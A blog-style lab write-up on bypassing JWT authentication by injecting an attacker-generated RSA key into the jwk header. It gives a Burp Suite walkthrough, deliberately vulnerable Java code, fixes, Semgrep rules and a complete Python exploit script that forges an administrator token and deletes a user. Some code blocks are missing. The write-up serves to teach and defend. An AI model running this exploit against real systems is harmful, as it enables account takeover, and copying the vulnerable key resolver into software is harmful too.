Post

Lab 04: JWT authentication bypass via jwk header injection

Lab 04: JWT authentication bypass via jwk header injection

1. Executive Summary

Vulnerability: JWT Signature Bypass (Insecure jwk Header Processing).

Description: The JSON Web Token (JWT) specification allows for a jwk (JSON Web Key) parameter in the token’s header. This parameter is designed to embed the public verification key directly within the token. The application is vulnerable because it extracts this embedded key and uses it to verify the token’s signature without checking if the key belongs to a trusted source.

Impact: Full Account Takeover. An attacker can generate their own RSA key pair, embed their forged public key into the jwk header, and sign a malicious token with their corresponding private key. The server will read the attacker’s public key from the header and successfully verify the forged signature, granting administrative access.

2. The Attack

Objective: Access the admin panel by injecting a self-signed RSA key into the JWT header.

  1. Reconnaissance:
    • I logged into my account (wiener:peter).
    • I captured the GET /my-account request to obtain the current session JWT.
    • I attempted to access GET /admin, which returned a 401 Unauthorized error since my sub claim was wiener.
  2. Key Generation:
    • I opened the JWT Editor Keys tab in Burp Suite.
    • I generated a new RSA Key pair. This key pair is entirely controlled by me.
  3. Token Forgery and Injection:
    • I sent the GET /admin request to Repeater.
    • In the JSON Web Token view, I modified the payload, changing the sub claim to administrator.
    • I executed the Embedded JWK attack. This action automatically serialized my newly generated RSA public key, injected it into the token’s header under the jwk parameter, and signed the resulting token with my RSA private key.
  4. Exploitation:
    • I submitted the request with the forged token.
    • The server read the jwk header, used my public key to verify my signature, and accepted the token.
    • I successfully accessed the admin panel and navigated to /admin/delete?username=carlos.

3. Code Review

Java (Spring Boot / JJWT)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Claims parseToken(String token) {
    return Jwts.parserBuilder()
        .setSigningKeyResolver(new SigningKeyResolverAdapter() {
            @Override
            public Key resolveSigningKey(JwsHeader header, Claims claims) {
                // VULNERABLE: Trusting the key provided in the token header
                Map<String, Object> jwkMap = (Map<String, Object>) header.get("jwk");
                
                try {
                    // Reconstructing the public key directly from attacker input
                    RSAPublicKeySpec keySpec = new RSAPublicKeySpec(
                        new BigInteger(1, Base64.getUrlDecoder().decode((String) jwkMap.get("n"))),
                        new BigInteger(1, Base64.getUrlDecoder().decode((String) jwkMap.get("e")))
                    );
                    KeyFactory kf = KeyFactory.getInstance("RSA");
                    return kf.generatePublic(keySpec);
                } catch (Exception e) {
                    return null;
                }
            }
        })
        .build()
        .parseClaimsJws(token)
        .getBody();
}

Technical Flow & Syntax Explanation:

  • setSigningKeyResolver: This JJWT method allows developers to dynamically determine the signing key based on token headers or claims before verifying the signature.
  • header.get("jwk"): The code extracts the jwk object directly from the unverified token header.
  • RSAPublicKeySpec: The developer manually rebuilds the RSA public key using the modulus (n) and exponent (e) provided by the attacker in the jwk header. By returning this key, the library uses the attacker’s public key to verify the attacker’s signature, guaranteeing a match.

C# (ASP.NET Core)

Technical Flow & Syntax Explanation:

  • IssuerSigningKeyResolver: A delegate in the Microsoft identity framework that allows custom logic to retrieve the verification key.
  • jwt.Header["jwk"].ToString(): The application reads the unverified header parameter.
  • new JsonWebKey(jwkJson): The JSON Web Key is instantiated and returned as the authoritative IssuerSigningKey. The framework then uses this key to validate the cryptographic signature of the token.

Mock PR Comment

The JWT verification logic currently extracts the validation key directly from the jwk header of the incoming token. This is a severe security risk, as attackers can forge their own key pairs, embed their public key in the token, and bypass authentication entirely.

Recommendation: Do not resolve signing keys from the token header. Instead, configure the application to retrieve public keys exclusively from a trusted, server-controlled source, such as a local configuration file or a verified remote JWKS (JSON Web Key Set) endpoint.

4. The Fix

Explanation of the Fix:

The application must never trust cryptographic material supplied by the client. The fix involves removing dynamic key resolution based on token headers and explicitly defining a trusted Key Resolver that queries an authoritative source (like a centralized identity provider’s JWKS endpoint).

Secure Java

Technical Flow & Syntax Explanation:

  • UrlJwkProvider: This component retrieves public keys strictly from a trusted, hardcoded server URL.
  • header.getKeyId(): Instead of taking the key itself, the application only reads the kid (Key ID) from the header to look up the corresponding public key from the trusted provider. If the attacker supplies a fake kid or an embedded jwk, the lookup against the trusted provider fails.

Secure C#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public ClaimsPrincipal ValidateToken(string token)
{
    // SECURE: Hardcode the trusted JWKS endpoint
    var jwksUrl = "https://trusted-auth-server.com/.well-known/jwks.json";
    var jwksJson = new HttpClient().GetStringAsync(jwksUrl).Result;
    var jwks = new JsonWebKeySet(jwksJson);

    var handler = new JwtSecurityTokenHandler();
    var parameters = new TokenValidationParameters
    {
        ValidateIssuer = false,
        ValidateAudience = false,
        ValidateIssuerSigningKey = true,
        // The framework will match the 'kid' in the token against this trusted list
        IssuerSigningKeys = jwks.GetSigningKeys()
    };

    return handler.ValidateToken(token, parameters, out _);
}

Technical Flow & Syntax Explanation:

  • JsonWebKeySet(jwksJson): The application downloads and parses the Key Set from a trusted server.
  • IssuerSigningKeys = jwks.GetSigningKeys(): The framework is configured with a strict allowlist of keys. It automatically extracts the kid from the incoming token and checks if it exists within this trusted collection. Embedded jwk parameters are completely ignored.

5. Automation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python3
import argparse
import requests
import json
import base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import jwt # PyJWT

def base64url_encode(data):
    if isinstance(data, str):
        data = data.encode('utf-8')
    return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')

def int_to_base64url(n):
    # Convert integer to bytes, then base64url encode
    byte_length = (n.bit_length() + 7) // 8
    b = n.to_bytes(byte_length, 'big')
    return base64url_encode(b)

def exploit_jwk_injection(url, username, password):
    s = requests.Session()
    login_url = f"{url.rstrip('/')}/login"
    
    print(f"[*] Logging in as {username}...")
    s.post(login_url, data={'username': username, 'password': password})
    
    token = s.cookies.get('session')
    if not token:
        print("[-] No session cookie found.")
        return

    print("[*] Generating malicious RSA key pair...")
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    public_key = private_key.public_key()
    pn = public_key.public_numbers()

    # Construct the JWK dictionary
    jwk = {
        "kty": "RSA",
        "e": int_to_base64url(pn.e),
        "n": int_to_base64url(pn.n),
        "kid": "malicious-key"
    }

    print("[*] Forging admin token with embedded JWK...")
    # Decode payload to modify 'sub'
    payload_b64 = token.split('.')[1]
    padding = '=' * (4 - (len(payload_b64) % 4))
    payload_str = base64.urlsafe_b64decode(payload_b64 + padding).decode('utf-8')
    payload = json.loads(payload_str)
    
    payload['sub'] = 'administrator'
    
    # Create the malicious header
    headers = {
        "alg": "RS256",
        "jwk": jwk
    }

    # Sign the token using PyJWT with our malicious private key
    # PyJWT automatically handles the base64url encoding and signature generation
    private_pem = private_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.PKCS8,
        encryption_algorithm=serialization.NoEncryption()
    )
    
    forged_token = jwt.encode(payload, private_pem, algorithm="RS256", headers=headers)
    
    print("[*] Sending forged token to /admin...")
    s.cookies.set('session', forged_token)
    
    resp = s.get(f"{url.rstrip('/')}/admin")
    if "Admin panel" in resp.text:
        print("[!!!] SUCCESS: Admin panel accessed.")
        delete_url = f"{url.rstrip('/')}/admin/delete?username=carlos"
        s.get(delete_url)
        print("[+] Carlos deleted.")
    else:
        print(f"[-] Failed. Status: {resp.status_code}")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("url", help="Lab URL")
    ap.add_argument("username", help="Your username (wiener)")
    ap.add_argument("password", help="Your password (peter)")
    args = ap.parse_args()

    exploit_jwk_injection(args.url, args.username, args.password)

if __name__ == "__main__":
    main()

6. Static Analysis (Semgrep)

Java Rule

Technical Flow & Syntax Explanation:

  • pattern-inside: Narrows the scope to the specific SigningKeyResolverAdapter override where key resolution happens in JJWT.
  • $HEADER.get("jwk"): Flags any attempt to directly retrieve the jwk parameter from the unverified header within the resolution block, signaling that the code intends to dynamically utilize attacker-supplied cryptographic material.

C# Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
rules:
  - id: csharp-jwt-jwk-header-injection
    languages: [csharp]
    message: |
      IssuerSigningKeyResolver reads the 'jwk' header from the incoming token. 
      This enables an attacker to provide the key used to validate their own token.
    severity: ERROR
    patterns:
      - pattern-inside: |
          IssuerSigningKeyResolver = ($TOKEN, $SECTOKEN, $KID, $PARAMS) => { ... }
      - pattern-either:
          - pattern: $SECTOKEN.Header["jwk"]
          - pattern: ((JwtSecurityToken)$SECTOKEN).Header["jwk"]

Technical Flow & Syntax Explanation:

  • IssuerSigningKeyResolver = ... => { ... }: Targets the specific C# delegate responsible for determining the verification key.
  • $SECTOKEN.Header["jwk"]: Flags the direct extraction of the jwk element from the token’s header collection inside the resolver, identifying the insecure key derivation source.
This post is licensed under CC BY 4.0 by the author.